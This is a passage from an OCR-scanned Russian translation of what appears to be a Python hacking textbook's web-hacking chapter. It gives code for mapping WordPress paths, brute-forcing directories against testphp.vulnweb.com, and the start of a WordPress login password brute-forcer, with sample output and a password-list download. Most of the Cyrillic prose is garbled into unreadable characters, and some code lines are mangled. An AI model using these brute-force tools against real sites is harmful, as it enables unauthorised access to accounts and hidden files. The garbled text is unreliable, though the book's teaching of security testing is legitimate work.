KoneuHo, os.chdir MOXHO HCITOJIB30BATh U BPYUYHYIO, HO €CJIU BBl 3a0yjere
OTMEHUTDb U3MEHEHNe, Ballla MPOTPpaMMa HAUHET BBITTOTHATHCS B HEOKUIAHHOM
Mecte. Biraroapst HOBOMy ucIieTdepy KOHTeKCTa chdir Mbl MOJKeM ObITh YBEPEHBI
B TOM, 4TO paboTa MPOUCXOAUT B MPABUIBHOM KOHTEKCTE W TIOC/Ie 3aBEPIICHUS
COOTBETCTBYIOIIEro GJI0Ka KOJla Mbl BEPHEMCSI Ty/1a, OTKYy/la HaunHa . MoskeTe
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COXPaHUTH 3Ty (DYHKIIUIO B Ka4eCTBE CJIY;KEOHOI U IPUMEHSTH B JIPYTUX CBOMX
ckpuntax. Bpems, moTpadyeHHOEe HA HAMKMCAHWE TAKUX SICHBIX W MOHITHBIX CIY-
KeOHBIX (DYHKITHIT, B KOHETHOM CUETE OKYIUTCS, TAK KaK BbI OY/I€Te MOJIb30BATHCS
UMW CHOBA U CHOBA.

BoimostauTe 3Ty IporpaMmy, 4ToObI OHA TPOILIACH TI0 IEPEBY KATAJOTOB HCT-
pubytuBa WordPress, 1 mocMOTpHUTe, KaKue TIOJIHbIE TyTH OHA BBIBEIET B KOH-
COJIb!

(bhp) tim@kali:~/bhp/bhp$ python mapper.py
/license.txt

/wp-settings.php

/xmlrpc.php

/wp-login.php

/wp-blog-header.php

/wp-config-sample.php

/wp-mail.php

/wp-signup.php

--nponyueHo- -

/readme.html
/wp-includes/class-requests.php
/wp-includes/media.php
/wp-includes/wlwmanifest.xml
/wp-includes/ID3/readme.txt

--nponyueHo- -
/wp-content/plugins/akismet/_inc/form.js
/wp-content/plugins/akismet/_inc/akismet.js

Press return to continue.

Temeps ouepens web_paths comep:KUT MOJTHBIE TTYTH, KOTOPbIE MOKHO TTPOBe-
puthb. Kak BujniTe, MBI TIOJIyUNJIN UHTEPECHBIE PE3YIBTATHL: B JIOKATBHON KON
WordPress ectb myTH K (aiisam, TakuMm Kak .txt, .js U .xml, KOTOpbIE MOKHO
COMOCTaBUTH € 3arylieHHbIM puiokeHneM WordPress. Koneuro, aToT ckpurr
MOKHO YCOBEPINEHCTBOBATH TaK, YTOOBI OH BO3BPAIIAJI TOJBKO HHTEPECYIOTITIE HAC
(aiinbl — HaTpUMeEp TaKkue, B UMEHAaX KOTOPBIX eCTh CJI0BO install.

Ananus peanbHoro npunoxenus

Bol ostyuniu iy i K daiiiam 1 katasoram Word Press, 1 Tenepb npHIIio Bpemst
UMU BOCIIOJIb30BaThCsl — MPOAHATM3UPOBATD yAAJI€HHOE TIPUIIOKEHE, YTOObI
y3HaTh, Kakue u3 (paiiyioB, HANEHHBIX BAMU B JIOKAJTHHON (hallIOBOU CHUCTEME,
JIEICTBUTEJIBHO YCTAHOBJIEHBI HA aTAKyeMOM KOMIbIOTEPe. JTO Te (aiibl, KO-
TOPBIE MBI CMOKEM aTaKOBaTh Ha TIOCTEAYIONUX CTAAUSAX JJIST TIOA00Pa YUETHBIX
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JAHHBIX WU 0OHAPYKEHIS YSI3BUMBIX YIaCcTKOB KoHdurypaimn. JJobasum B daiin
mapper.py GYHKIINIO test_remote:

def test_remote():
while not web_paths.empty(): ©
path = web_paths.get() @
url = f'{TARGET}{path}’
time.sleep(2) # your target may have throttling/lockout. ©
r = requests.get(url)
if r.status_code == 200:
answers.put(url) @
sys.stdout.write('+")
else:
sys.stdout.write('x")
sys.stdout.flush()

B ocroBe mporiecca comoctaBienns aeKUT QyHKINA test_remote. OHa BBITTOTHI-
eTcsl B IMKJIe, KOTOPBIN IIPOA0JIKaeT paboTath, oKa ouepeb web_paths He oryc-
teer @. Ha kax/0ii ntepaiuu mukia Ml 6epeM yTh U3 ouepean @, 1obasisieM
ero Kk 6a30BOMY IIyTH aTaKyeMoro BebO-caiiTa 1 3aTeM IIbITAEMCsI €r0 3alIPOCUTD.
B caiygae yenexa (o yem nmpocurnanusupyet ko oTBeTa 200) MbI COXpaHsIeM 3TOT
URL-azpec B ouepenb answers @ 1 BBIBOJUM CHUMBOJ + B KOHCOJIb. Eciu aiin
MOJIYYUTD HE YAATOCh, BBIBOJUM B KOHCOJIb CUMBOJI X U TIPOZOJIKAEM TTUKIL.

Hekotopbie BeG-cepBepbl MOTYT Bac 3a0JI0KMPOBATh, €CJIM Bbl 3aBAJHUTE UX 3a-
npocamu. [ToaTomy Mbl ucnosib3yeM time.sleep ©, uTOObI OCTAHABIUBATHCS HA
2 CeKyH/IBI TIOCTIE KAKIOTO 3aMPpOca — HTO JHOJIKHO CENATh YaCTOTY 3aIllPOCOB
JIOCTATOYHO HU3KOIL, YTOOBI 0O0NTH MeXaHNU3M OJOKUPOBAHUSI.

VBujIeB, KaKre OTBETHI BO3BPAIIAET aTaKyeMbIil cepBep, BbI MOKeTe yOPaTh CTPOUKI
[ BBIBOJIA IAHHBIX B KOHCOJIb, HO TIPU TIEPBOM aHATN3€ CUMBOJIBI + 1 X TIOMOTYT
BaM TTOHATH, YTO TIPOUCXOIUT B TIPOIECCE BHITIOTHEHUS CKPUTITA.

Harmocsenok HamumieM GyHKIMIO run, KOTOpast OyAeT CJIy;KUTh TOYKOI BXOja
B IPUJIOKEHUE:

def run():
mythreads = list()
for i in range(THREADS): ©
print(f'Spawning thread {i}")
t = threading.Thread(target=test_remote) @
mythreads.append(t)
t.start()

for thread in mythreads:
thread.join() ©
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OyHKIMA run yIpaBJseT aHaTU30M CTPYKTYPbI KATAJIOTOB, BbI3bIBAs (DYHKITHH
B CTPOTO olipe/ieieHHoM Topsijike. Mbl 3aryckaem 10 moTokoB (OTIpeiesieHHbIX
B Havasie ckpunTa) @, Kask/blii 13 KOTOPBIX BBITIOJIHSET (PYHKITUIO test_remote @.
[Tocte aTOTO K IEM, TTOKA BCE ITHU TIOTOKHU HE 3aBEPITATCS (15T 9TOTO MPELYCMOTPEH
BBI30OB thread.join), 1 pekparaem pabory ©.

Tereps B IOBEPITIEHIE BCETO MOKHO I00aBUTH HEKOTOPYIO JIOTUKY B OJIOK __main__.
[ToscTaBbTe BMECTO MCXOAHOTO OJIOKA CJIEAYIONiT OOHOBJIEHHDIH KO/

if __name__ == '__main__":
with chdir("/home/tim/Downloads/wordpress"): @
gather_paths()
input('Press return to continue.') @

run() ©
with open('myanswers.txt', 'w') as f: @
while not answers.empty():
f.write(f'{answers.get()}\n")
print('done")

[Ipesx e ueMm BbI3BaTh gather_paths, ucrosib3yem jucieryep konrekcra chdir @,
4TOObI IEPETH B HY/KHYIO MAnKy. Mbl TIPEIyCMOTPEJN 3/I€Ch May3y Ha CJIydaii,
€CJI 3aX04eTcs cCHavaja MpoCMOTPETh KOHCOBHBIH BbIBO @. Ha aTOM aTamne Mbl
yoKe cobpasii MHTepecyIoliie Hac myTH K daiiiam B JIOKaabHOW Konuu. Tereppb
BBIIIOJTHSIEM OCHOBHYIO IIPOIIEIyPY aHAIN3a Y/IAJIEHHOTO IPUJIOKEeHUS © 1 3a11m-
ChIBaeM pe3yJibTaThl B (haitn. Mbl, ckopee Bcero, MOJIyuYuM MHOKECTBO YCIIETITHbBIX
3ampocoB, B TakoM caydae URL-azpeca OyiyT BBIBOAUTHCS B KOHCOJb CJAUIITKOM
GBICTPO JIJIST TOTO, YTOOBI 32 HUME MOKHO OBLIO YCJIEITh. ITOTO MOKHO H30€KaTh,
ecsi 06aBuUTh 610K @ 115t 3amucy pe3yibratoB B (aiir. O6paTite BHUMAaHUE Ha
METO/L JIJIs1 OTKPBITHS (paiiya, Urpaloinil posb AUcHeTdepa KOHTEKCTa: OH rapaH-
THUPYET, YTO IIPU BBIXOJI€ U3 3TOTO Oi10Ka (haiis Gy/IeT 3aKPHIT.

MpoBepka HanucaHHoro

CrienasibHO /1J1s1 TECTUPOBAHUS aBTOPBI CO3/1a711 caiiT boodelyboo.com, 1 MeHHO
€ro Mbl Oy/ieM aHATT3UPOBATD B 9TOM IIpuUMepe. Bbl MOJKeTe HCII0JIb30BATH B CBOMX
TecTax COOCTBEHHBIN caiiT nin ycranoButh WordPress B BUPTYalbHOIT MatiiHe
Kali. Ormernm, 4TO /7151 9TOTO TOAOIIET JI060€ BEO-TIPUIIOKEHIE C OTKPBITHIM
HCXOJIHBIM KOJIOM, KOTOPO€ MOKHO OBICTPO Pa3BepHYTh WJIM KOTOPOE Y BaC yiKe
pabotaer. [Tpu 3amycke mapper. py BbI 10JUKHbI YBUIETH TAKO# BHIBO/L:

Spawning thread ©
Spawning thread 1
Spawning thread 2



108 Fnaea 5. Be6-xakepcTso

Spawning thread
Spawning thread
Spawning thread
Spawning thread
Spawning thread
Spawning thread
Spawning thread 9

FHXHX XX
B

00N OV bW

ITo 3aBepiiieHnN aHATINA3A MY TH, 3ATIPOCHI K KOTOPHIM OKA3aJIMCh YCIIEITHBIMU, OY Iy
HaXO/IUTHCA B HOBOM (haiisie myanswers. txt.

OnpepeneHue CTPyKTYpbl NAMNOK
meTogom nepebopa

B nipeapiaymiemM mpuMepe mpenoaransoch, YTo HaM MHOTOE U3BECTHO O Hallei
nesin. OIHAKO TIPU aTake HECTAHAAPTHOTO BeO-TPUIIOKEHMS UM CHCTEMbI MH-
TEPHET-TOPTOBJIN BbI 3a4acTyI0 He Oy/ere 3HaTh 000 Beex (haiiyax, JOCTYITHBIX
Ha BeG-cepBepe. OOBIYHO B TAKUX CIyYasiX UCTIOJIB3YETCs TOUCKOBBIN PoOOT (Ha-
IIPUMEP, TOT, YTO BXOAUT B cocTaB Burp Suite), KoTopbiit 00X0UT 3a1aHHbIIT BE6-
CcaiiT B MOIBITKE Y3HATH O HEM KaK MOKHO 6oJibIire. [[0BOIbHO 4acTO B3JIOMIIUKOB
UHTEPECYIOT KOHMUryparnoHHbie (hailiibl, KO, OCTABIIMNACS TIOCIe paspaboTKH,
OTJIAJIOYHBIE CKPUIITBI U J[PYTHE 3AIENKH, C TTOMOIIBIO KOTOPBIX MOKHO 3a110Jy-
YUTh KOH(MUAEHITHATBHYIO HHGOPMAIUIO WK OOHAPYKUTH (DYHKIIMOHAIBHOCTD,
He TIPelyCMOTPEHHYT0 pa3paboTdankamu. Hall Tt ©X MOKHO JIUIIIb Iy TeM repebopa
pacTpocTpaHeHHBIX NMeH (haiiyIoB M KaTaJoTOB.

Mol HarUIIeM IPOCTOI MHCTPYMEHT, KOTOPBIil Oy/IeT IPUHUMATH CJIOBAPH ITe€pe-
6opa, TIpeaocTaBsieMble TOMYJIPHBIME MTpoekTaMu gobuster (https://github.
com/0OJ/gobuster/) m SVNDigger (https://www.netsparker.com/blog/web-security/
svn-digger-better-lists-for-forced-browsing/), u mibiTaTbcst OGHAPYKUTH KaTaJIOTH
u aiisibl, 10CcTyITHbIE HA 3a/[aHHOM BeO-cepBepe. B mHTepHETE MOKHO HAWTH
MHO’KECTBO CJIOBApPEH, IeJIbIN Psil KOTOPBIX MPUCYTCTBYET B aAucTpubyTrBe Kali
(cM™. /Jusr/share/wordlists). B aTom mipuMepe Mbl OyjieM KCII0Jb30BaTh CJI0OBaph
ot SVNDigger. CoorBetctByioriue hailibl MOKHO TOJTYYUTH CAEAYIONUM 00-
pasom:

cd ~/Downloads
wget https://www.netsparker.com/s/research/SVNDigger.zip
unzip SVNDigger.zip
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Korga BHI pacmakyere 9T0 apxuB, aila all.txt OyIeT HaXOAUTHCI B MAIKe
Downloads.

Kak u nipeskiie, co3maum 1myJi HOTOKOB JJIsl arPeCCUBHOTO OOHAPYKEHUST COep-
JKUMOTo. BHavase HamuineM JIOTUKY 7151 co3anus odepenn (Queue) us aiiia
cioBapsi. Cospaiite haiis, Ha3oBUTE €ro bruter. py U HabepuTe CJIEAYIONII KO

import queue
import requests
import threading
import sys

AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0"
EXTENSIONS = ['.php', '.bak', '.orig', '.inc']

TARGET = "http://testphp.vulnweb.com"

THREADS = 50

WORDLIST = "/home/tim/Downloads/all.txt"

def get_words(resume=None): ©

def extend_words(word): @
if "." in word:
words.put(f'/{word}")
else:
words.put(f'/{word}/"') ©

for extension in EXTENSIONS:
words.put(f'/{word}{extension}")

with open(WORDLIST) as f:
raw_words = f.read() O

found_resume = False
words = queue.Queue()
for word in raw_words.split():
if resume is not None: ©
if found_resume:
extend_words (word)
elif word == resume:
found_resume = True
print(f'Resuming wordlist from: {resume}')
else:
print(word)
extend_words (word)
return words O

Bo BcmomorarenbHoll hynkimn get_words @, Bo3Bparaoieii o4epeab co CIo-
BaMM, KOTOPbIe Mbl OyleM MCKaTh Ha 3aJaHHOM KOMIbIOTEPe, IIPUMEHIeTCs
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HECKOJIPKO CIIEIMAJbHBIX MPUeMOB. MbI cYUTBIBaeM cojiep:KuMoe cioBapss @
Y HAYMHAEM TOCJIeI0BATENbHO epebupaTh Kak/Iyio ero CTPOUKY. 3aTeM IpucBa-
MBaeM IlepeMEeHHON resume MOCJIEHUI ITyTh, KOTOPbIN IPOBEPUI CKPUNIT ©. ITO
HO3BOJIAT BO30OHOBUTH IIPOIIECC Iepebopa B CIydae pa3pbiBa CETEBOTO COCAMHEHUS
WJIM BPEMEHHBIX HEIoJIal0K Ha aTakyeMoM Beb-caiite. 3aBepiuB 00xoj daiia,
MBI BO3BPAIIIAEM OYePE/Ib CO CJIOBAMI, KOTOPbIE OYIyT HCIIOJIb30BATHCST (DYHKITHEN,
3aHATON HEMOCPECTBEHHBIM TTepebopoM @.

3amerbre, y get_words ecTb BIOXKeHHasT DYHKIUS ¢ UMeHeM extend_words @.
Broacennoii nazpiBaetcsa GyHKIH, OnpeeeHHasd BHYTPU APYTOH DYHKITNN.
MoskHO OBLITO ObI HATIMCATH €€ U OTAEIBHO, HO OHA BCET/[a BBITOJIHSIETCST B KOHTEK-
cre get_words, MO3TOMY MbI C/IEJIAJIH €€ BIOKEHHOI, YTOOBI TIPOCTPAHCTBA NMEH
BBITJISIJIEJI aKKYPATHO U B KOJIE OBLIO Jierde pa3oopaThesl.

Ira BioxkenHas (HyHKIM 100aBJsIET K Ha3BaHUsIM (DANIOB paCITUpPEHs], KOTO-
pble HY>KHO ITPOBEPUTH IIPU BBIIIOJHEHUH 3aIIPOCOB. B HEKOTOPBIX CIyyasax uMeer
CMBICJI IIPOBEPUTDH HE TOJBKO IIyTh /admin, HO U, K IpUMeEpY, /admin.php, /admin.
inc 1 /admin.html ©. D10 no3BoJAET HEpebpaTh pacIPOCTPAHEHHbIE PACIIUPEHUS,
Takue Kak .orig 1 .bak, a TakyKe IpUMeHsdeMble B A3bIKaX IIPOTPAMMUPOBAHUAL:
OHU MOTYT WCIOJIb30BAThCsI Ha ATare pa3paboTKH, HO MO HEOCMOTPY OCTAThCSI
B uctpubyTrBe. Bioskennas hyHkims extend_words 1aeT BO3MOKHOCTD CIEIATh
HTO C MOMOIIBIO TAKKUX ITPABUJIL: €CJIH CIOBO COAEPSKUT TOUKY (. ), MbI T0OABIIsIEM
ero k URL-azpecy, a ecin HeT, cuuTaeM ero HazBaHueM Nanku (Kaxk B ciayyae
¢ /admin/).

Tak nu nHade, MbI 100aBUM K Pe3yJ/IbTaTy BCe MOTeHIMaIbHble paciupenns. Ha-
[IpUMep, eCJIN Y HAC eCTh JBa CJI0Ba, test.php 1 admin, ouepeanb Oy/eT A0IOIHeHA
caeayoIuMu djaeMeHTaMu: /test.php.bak, /test.php.inc, /test.php.orig,
/test.php.php, /admin/admin.bak, /admin/admin.inc, /admin/admin.orig,
/admin/admin.php.

Teneppb HamuIeM OCHOBHYTO (DYHKIINIO J1JIsT Tiepebopa myTeil:

def dir_bruter(words):
headers = {'User-Agent': AGENT} ©
while not words.empty():
url = f'{TARGET}{words.get()}' @
try:
r = requests.get(url, headers=headers)
except requests.exceptions.ConnectionError: ©
sys.stderr.write('x");sys.stderr.flush()
continue
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if r.status_code == 200:

print(f'\nSuccess ({r.status_code}: {url})') @
elif r.status_code == 404:

sys.stderr.write('.");sys.stderr.flush() ©
else:

print(f'{r.status_code} => {url}")

if __name__ == '__main__":
words = get_words() O
print('Press return to continue.')
sys.stdin.readline()
for _ in range(THREADS):
t = threading.Thread(target=dir_bruter, args=(words,))
t.start()

(DyHKuH;{ dir_bruter nmpunnmaer 0OBEKT Queue, cojiepsKallinii cJ0Ba, KOTOPbIE
MBI TIOJITOTOBUJIN B QYHKITNHN get_words. B Hauaje mporpaMMbl MbI OTIPeIeIIIN
cTpoOKy User-Agent, Kotopas Oyzer ucnosbsosatbes B HTTP-3anpocax, 4To6b!
OHU BBITJISIIENN TaK, OYATO UX OTIPABJSIOT O€3 3JIbIX HaMepeHuil. Jta HHGOop-
Marnust 106aBJsieTcst B iepeMeHHyo headers @. 3aTeM Mbl iepeGUpaeM B IIUKJIE
ouepenb words. Ha kasnoit urepaiuu cosmaercst URL-aapec, o kotopomy Gyaer
OTIpaBJIeH 3alpoc K yaaJeHHoMY BeO-cepBepy @.

IT1a GYHKIUS 3alUCBIBAET OJHY YaCTh BBIBOJIA HEIIOCPENCTBEHHO B KOHCOJIb,
a Ipyryio — B stderr. MbI Oy1eM UCIIOJIB30BATh TAKOW MOAXO/ JIsI THOKOTO TPe/I-
CTaBJICHUsI PE3YJIBTaTOB. JTO TMO3BOJUT OTOOPAKATH Pa3Hble YIACTKU BBIBOJA
B 3aBUCHMOCTH OT TOTO, YTO MBI XOTUM YBUJIETb.

B0 661 HEIJIOX0 3HATH O JIIOOBIX ONTUOKAX coeluHeHnsd ©: KoT/a OHU BO3HU-
KaloT, MBI BBIBOJINM B stderr cuMBOJ x. Eciam ke 3ampoc mpoiest ycrenttHo (Ha
4yTOo yKaserBaeT Koj otBeTa 200), B KoHCoab BhiBoAUTC TToTHBITT URL-anpec ©.
MbI OBI MOTJIH TaKsKe 3alTUChIBATh PE3YJIbTAaThl B OTHAENbHYIO OUepeib, Kak B IPO-
maerit pas. [Ipu mosyyenun orBeta «404» BRIBOAMM B stderr TOUKy (.) U TIpo-
noJikaeM ©. Eciiu ipuieT Kakoii-To Ipyroil KOJ OTBETA, MbI OIS Th-TaK! BbIBEIEM
nosabiii URL-azipec, Tak Kak 9T0 MOKET CBUIETEIbCTBOBATh 00 OOHAPYKEHUN
Ha BeO-cepBepe Yero-To MHTePeCHOro (TO eCTh Yero-To MOMUMO OMHOKY «aiir
He Haiigen» ). Bam OyaeT mojie3Ho moHab101aTh 32 CBOMM BbIBOLOM, HOCKOJIbKY
MHOTI/IA B 3aBUCHMOCTH OT KOH(MUTYPaIiK yAaJeHHOTO Beb-cepBepa IPUXOIUTCS
OoT(UABTPOBBIBATD JONOTHUTENbHBIE KOAbl HTTP-omm6ok, 4066 He 3aCOPAThH
pe3yJIbTaThl.

B 6s0ke __main__ MBI GepeM CIHMCOK CJIOB JUIsI TIPOBEPKU @ U 3alycKaeM Kydy
[IOTOKOB, KOTOPBIE OY/YT €ro 1epedupaTh.
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MpoBepka HANUCAHHOrO

Ha caiite OWASP nocTyInieH criucok ysi3BUMBIX BeO-TIPUIOKEHMI, KaK JIOKaJb-
HBIX, TaK U MOAKIIOYEHHBIX K MHTEPHETY, B TOM UHCJie BUPTYAJIbHBIX MAITUH
1 00pa3oB IMCKOB, KOTOPBIE BbI MOJKETE UCIIOJIb30BATh [IJIsl IPOBEPKHU CBOUX
uHCTpyMeHTOB. B annom ciayuae URL-ajzpec, yKazaHHBIN B UCXOJIHOM KOJl€,
PUHAJIEKHUT BEO-TIPUIIOKEHHIO OT KOMIIaHuK Acunetix, KOTOPoOe CHenragabHO
cjlesiayiv YSI3BUMbBIM. Y aTak Ha TaKue MPUJIOKEHUS eCTh OJIHO 3aMedaTesibHOoe
CBOICTBO: OHU HATJSAIHO IeMOHCTPUPYIOT, HACKOJIBKO 9(D(HEKTUBHBIM MOXKET
ObITH TIEpebop.

[Ipexe yem 3ammyckaTh CKPUIT, COBETyeM MPUCBOUTDH MepeMeHHON THREADS
KaKoe-TO aJieKBaTHOe 3HaueHue (Harmpumep, 5). Ecu ciaesmats ero caumkomM Ma-
JIEHbKHMM, CKPHUIIT OYZIET 0JITO BBITIOIHSATHCS, & €CJIN CIAUIIKOM GOJIBIITUM, MOKHO
neperpysuthb cepsep. OueHb CKOPO BbI OJKHBI YBUAETH PE3yJIbTaThl HAIOA00Me
CIeIYIONTUX:

(bhp) tim@kali:~/bhp/bhp$ python bruter.py
Press return to continue.

--nponyueHo- -

Success (200: http://testphp.vulnweb.com/CVS/)

[g 3anucu cuMBOJIOB X U TOYeK (.) MBI UCIIOJIB30BAJIN Sys.stderr, M0aTOMY,
€CJTU BBI XOTUTE BUJIETh TOJIBKO YCIIENTHbIE 3aITPOCHI, TIPH 3aITyCKe CKPUTITA TIepe-
HarpasbTe stderr B /dev/null. Takum 06pasoM, B KOHCOJIb OYIyT BBIBOAUTHCS
TOJIbKO HalZIeHHbIe (PaiJIbL:

python bruter.py 2> /dev/null

Success (200: http://testphp.vulnweb.com/CVS/)

Success (200: http://testphp.vulnweb.com/admin/)

Success (200: http://testphp.vulnweb.com/index.php)
Success (200: http://testphp.vulnweb.com/index.bak)
Success (200: http://testphp.vulnweb.com/search.php)
Success (200: http://testphp.vulnweb.com/login.php)
Success (200: http://testphp.vulnweb.com/images/)
Success (200: http://testphp.vulnweb.com/index.php)
Success (200: http://testphp.vulnweb.com/logout.php)
Success (200: http://testphp.vulnweb.com/categories.php)

3ameTbre, MBI TIOJTyIaeM OT yIaJIeHHOTO BeO-caliTa MHTepPeCcHble Pe3yJIbTaThl, U He-
KOTOpbIe U3 HUX MOTYT Bac yAnBUTL. Harpumep, BbI MoXkeTe HallTU pe3epBHbBIE
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(aiispr nau hparMeHTsl Kojia, KOTOPBIE CIyYaliHO OCTaBUII TIOcie ce0sl TIEpPeTpy-
JVMBIIHICS BeO-pazpaboTyrK. Majio iu 4To MOKET HAXOJAUThCS, CKaKeM, B (haiie
index.bak. Takum 06pa3oM Bbl MOKeTe M36aBUTHCS OT (halJIOB, KOTOPBIE O3B0~
JISTIOT JIETKO CKOMITPOMETHPOBATH Ballle IpUIoKenne!,

B3nom HTML-¢dopmbl ayTeHTUPUKaLUM
meToaoM nepebopa

B Bareii kapbepe BeG-xaKkepa MOKET HACTYIIUTh MOMEHT, KOT/Ia HY;KHO OyaeT
HOJIYYUTh JOCTYI K aTaKyeMOW CHCTEMe WJIH, €CJIM Bbl 3aHMMaeTeCh KOHCAJI-
THUHIOM, OIIEHUTh HaJEKHOCTD MapoJIs JIsi CYIIECTBYOIIETO BeG-TIPUIOKEHUS.
B Be6-cucremax Bee yalle BCTpPEYaeTcs 3aliuTa OT nepebopa — 9T0 MOKET ObITh
KamJa, IpocToe MaTeMaTHIecKoe YpaBHeHNe NN ayTeHTU(MUKAITMOHHBIN TOKEH,
KOTOPBIN HY’KHO OTHPaBUTh BMecTe ¢ 3anpocoM. CyIecTByeT Heblil Psij WH-
CTPYMEHTOB, KOTOPbIE TO3BOJISAIOT TPUMEHSITH METO/ TiepebGopa K CKPHUIITY BXO/IA,
ucnosb3yst POST-3ampockl, HO BO MHOTHX CJIyYasix UM HEA0CTaeT THOKOCTH JIJIst
paboThI ¢ IMHAMUYCCKUM COAEPKUMBIM MJIH MTPOXOKAEHHS TIPOCTBIX MPOBEPOK,
MOATBEPIKAAIONINX, YTO CHCTEMA UMEET JIEJIO C KIUBBIM MOJIb30BATEIEM.

MbI co3iaiuM MPOCTON MHCTPYMEHT JIJIst Tiepebopa, KOTOPBIN Oy/IeT MOJIe3eH JJIst
ataku Ha WordPress — moryJisipHyo cuctemy yrpasierusi KouteHtoM. CoBpe-
MeHHbIe Bepcun Word Press noiiepskuBaroT HEKOTOpbie 0a30Bble METO/IbI 3aHThI
ot nepebopa, HO MOo-TIPesKHEMY He YMEIOT GJIOKMPOBATh YUETHbIE 3aIMCH U He UC-
TIOJTB3YIOT TI0 YMOJTYAHUTO HAJIESKHBIE KA.

Yrobor atakoBaTh WordPress MeTo1oM 1iepedopa, Mbl [I0JIKHBI BBITIOJHHUTD /1BA
TpeGOBAHMST: U3BJI€YD CKPBITHII TOKEH 13 (hOPMBI JIJIs BXO/IA, TIPEK/IE YEM MTBITATHCS
CJIATD TIAPOJIb, U YOEMUTHCS B TOM, 4To ipuarMaeM cookie B ceoem HTTP-cearce.
Korma mbI BriepBbie o6paraeMcst K yAATeHHOMY TPUIOKEHUI0, OHO OTIPABJISET
HaM OJTHO WJIM HECKOJIbKO 3Ha4YeHUil cookie 1 0KuIaeT, 4To MbI TOIILIEM UX 00-
paTHO TIPH MOIBITKE BX0/a. UTOOBI M3BJI€Ub 3HAUeHUsT (POPMBI BXO/IA, BOCIIOb-
3yeMcsl TTakeToM 1xml, ¢ KOTOPbIM TTO3HAKOMUIUCH B pasmene «Ilakersr Ixml
u BeautifulSoup».

Jl1s Havasia MOCMOTPHUM, KaK BRITISANT Gopma Bxoga B WordPress. Ee MoskHO
HalTH 1o azipecy Buaa http://<sawa_uenb>/wp-login.php/. [lyig aHanusa CTpyKTypBbI
HTML-cTpaHuiibl MOKeTe IPOCMOTPETh €€ MUCXOAHBIN KO/ B CBoeM Gpaysepe.

1 ABTOpI)I TIOCTOAHHO IEPERJIIOYAIOTCA MEK/Y JABYMS NPOTUBOIIOJIOJKHBIMU TOYKAMU 3PpEHUA,

MIPUHAJIEKAIMMY XaKepy U IIeHTecTepy.
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Hanpuwmep, B Firefox Beibepure nmynkt meHio Tools » Web Developer » Inspector
(Uuctpymentst » Beb-paspaborka » MucnekTop). st KpaTKOCTH MTPUBOIAM
JINIITh UHTEPECYIOINe HAC 3JIEMEHTBI (DOPMBI:

<form name="loginform" id="loginform"
action="http://boodelyboo.com/wordpress/wp-login.php" method="post"> ©

<p>

<label for="user_login">Username or Email Address</label>

<input type="text" name="log" id="user_login" value="" size="20"/> @
</p>

<div class="user-pass-wrap">
<label for="user_pass">Password</label>
<div class="wp-pwd">
<input type="password" name="pwd" id="user_pass" value="" size="20" /> ©
</div>
</div>
<p class="submit">
<input type="submit" name="wp-submit" id="wp-submit" value="Log In" /> O
<input type="hidden" name="testcookie" value="1" /> ©
</p>
</form>

W3 xoma 971011 (hOPMBI MOKHO MTOUEPIHYTH ITeHHYI0 HHMOPMAIINUIO, KOTOPYIO HY K-
HO GyZeT MHTErpUpOBaTh B MHCTPYMEHT s mepebopa. IIpesxae Bcero, popma
OTTIpaBJsIeTCs 0 Iy TU /wp-login.php Metomom HTTP POST @. /lanpure nmayt
0JIs1, HEOOXOAMMBbIE JIJIS1 YCIIENTHOM OTIpaBKU (hOPMBIL: IlepeMeHHast log @ 1peji-
CTaBJISIET MM TI0JIH30BATENS, TlepeMeHHas pwd © TpecTaBIsgeT Mapob, a wWp-
submit @ u testcookie © UCIOJB3YIOTCS JIJIsl KHOIKY OTIPABKY U TIPOBEPOYHOTO
3HaueHus1 cookie coorsercreenno. O6GpaTnTe BHUMAHUE HA TO, YTO 2JIEMEHT (DOPMBbI
testcookie CKPBIT.

[Tpu o6Gpamenuu k hopme cepBep yCTaHaBIMBAET HECKOJIBKO 3HAUEHMIT cookie
U OKMJIAET, YTO BBl OTIIPABUTE MX 0OPATHO BMECTE C JAaHHBIMHU (DOPMBL IJTO He-
OThEMJIEMbIIT 2JIEMEHT 3alUTHI OT Iepebopa, Kotopas npuMensiercs: B Word Press.
CaiiT comnocraBJisieT cookie ¢ ceaHCOM TEKYIIETO M0JIb30BATEJIS, TOITOMY, JaKe
ecJIM BBI TlepeainTe CKPUITY BXOa KOPPEKTHBIE YUeTHBIE JaHHbIE, HO 3a0yIere
o cookie, ayTerTrduIIpoBaThCs He orydnTcst. Korzma B cucteMy BXOAUT OOBIIHbBII
0JIb30BaTE b, 0 cookie 3a6oTuTcst cam Gpaysep. Mbl 10JKHBL BOCIIPOU3BECTH 9TO
nosejieHre B cBoeii mporpamme. Pabora ¢ cookie Gyaer aBroMaTH3MpOBaHa ¢ 1Mo-
MOIIBIO 00BEKTa Session u3 OMOINOTEKN requests.

Yrobst ycnernio atakoBath Word Press, BbITOJTHsIEM TaKy10 OCJIEI0BATENHOCTD
JeficTBuil.
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[Tosrygaem cTpaHUILy BXO/la U IPHHUMAEM BCe BO3BpallleHHbIe HaM cookie.
NsBaexaem nu3 HTML-kozaa Bce asieMeHTBI (POPMBI.

Bribupaem nmst moJsib30BatTesist U/ Ui TTapoJib U3 CBOETO CJIOBAPSL.

I

Ornpasisiem ckpunty Bxoga HTTP POST Bmecrte co BceMu moJIsIMU
HTML-hopmbl 1 3HaUeHUsIME cOOKie, KOTOpbIe MBI COXPAHWIIN.

5. IIpoBepsieM, yIauoch Jik YCIENIHO BOUTH B BeO-TTPUJIOKEHHE.

Cpencrso BoccTanosenus mapoJeit Cain & Abel, moctynHoe Topko B Windows,
coziepKUT GOJIBINON cIoBaph cain.txt. Bocmombdyemcest um, 9To6br mog06paTh
MapoJib. ITOT Gaiiy MOKHO CKaYaTh HEMTOCPEIICTBEHHO U3 penodutopus Seclists
Ha GitHub, npunaiexaniero Januamo Mucciepy:

wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/
Software/cain-and-abel.txt

Kcratn, B SecLists ectb MHOTO ApyruX ciaoBapeil. Mosere caMOCTOSITEIbHO HC-
CJIeJIOBATh ATOT PENO3UTOPUI U TTOUCKATh B HEM TO, YTO MOJKET HPUTOIUTHCS
B OY/IyIIUX TPOEKTAX.

Kaxk Bu/uTe, B 9TOM CKPHIITE MbI Oy/IeM IIPUMEHSITH HEKOTOPbIE HOBBIE TT0JIE3HbIE
MeTOJMKU. TakKe CTOUT YIIOMSIHYTh, YTO CBOM MHCTPYMEHTBI HU B KOEM CJIyyae
